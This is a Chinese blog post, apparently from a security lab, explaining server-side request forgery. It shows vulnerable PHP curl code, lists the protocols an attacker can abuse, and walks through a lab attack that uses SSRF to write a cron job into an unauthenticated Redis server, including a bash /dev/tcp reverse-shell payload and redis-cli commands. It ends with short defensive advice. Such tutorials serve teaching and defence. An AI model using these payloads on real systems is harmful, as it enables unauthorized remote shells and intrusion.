大家好
我是早上渗透工程师、晚上健身教练、凌晨工厂保安的铁人三项打工仔。
1、漏洞原理
SSRF(Server-Side Request Forgery,服务器请求伪造)是一种由攻击者构造请求,由服务端发起请求的安全漏洞,一般情况下,SSRF攻击的目标是外网无法访问的内网系统(正因为请求时由服务端发起的,所以服务端能请求到与自身相连而与外网隔绝的内部系统)
2、漏洞利用方式
1. 对其他外网主机,或者是对内网/本地主机进行断开扫描。
2. 利用file协议读取本地的敏感文件。
3. 攻击运行在内网或者本地不对外网开放的应用程序。
3、漏洞分析
在例子中,应用获取GET参数url,通过curl_init()初始化curl组件后,通过调用curl_exec请求该url,服务器端会去请求url返回一些信息。
代码如下:
<?php
$aa = curl_init();
curl_setopt($aa, CURLOPT_URL,$_GET['url']);
curl_setopt($aa, CURLOPT_HEADER, 0);
curl_exec($aa);
curl_close($aa);
;?>
4、漏洞利用方式
http://192.168.124.145/ssrf.php?url=http://www.baidu.com
实现功能通过GET参数获取url内容,然后再服务器端访问http://www.baidu.com
5、支持的协议
1. http
能进行内网端口的探测-可以通过返回的时间以及返回的长度判断哪些端口开放
2. ftp
由于FTP协议对返回时间的长短比较精确,可以使用自动化的脚本来进行内网的端口扫描
3. dict
能进行内网端口的探测-可以探测到具体的版本号等等信息。
4. file
能够读取文件
5. gopher
能进行内网端口的探测-可以发送get或者来攻击内网的redis等服务。
6、使用ssrf攻击内网redis服务geteshll
在redis默认是无密码的服务,可以通过未经授权访问,写计划任务弹shell。以下是在普通情况下的getshell,使用payload代码如下:
echo -e "nnn*/1 * * * * bash -i >& /dev/tcp/192.168.124.129/6666 0>&1 nnn" |redis-cli -h 127.0.0.1 -p 6379 -x set 1
redis-cli -h 127.0.0.1 -p 6379 config set dir /var/spool/cron/
redis-cli -h 127.0.0.1 -p 6379 config set dbfilename root
redis-cli -h 127.0.0.1 -p 6379 save
redis-cli -h 127.0.0.1 -p 6379 quit
然后在计划任务中,
监听6666端口,获得shell
在普通环境中,攻击无密码的redis服务写计划任务getshell就是以上的流程。
再利用gopher协议下的SSRF如何攻击redis服务getshell
先将上面的脚本转化城gopher协议所支持的格式:
Github脚本:https://github.com/tarunkant/Gopherus
再用bp进行一次URL编码,然后进行访问,再去靶机看看计划任务这时候已经生成
监听4444端口后反弹了shell
漏洞防御策略
1. 限制请求的协议,只允许http或者https协议请求
2. 限制不能访问内网IP,以防止对内网主机的攻击,同时也屏蔽IP的十进制输出。
3. 屏蔽返回的详细信息。
手握日月摘星辰,安全路上永不止步。
- Khan攻防安全实验室
本文始发于微信公众号(Khan安全攻防实验室):SSRF(服务器请求伪造)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论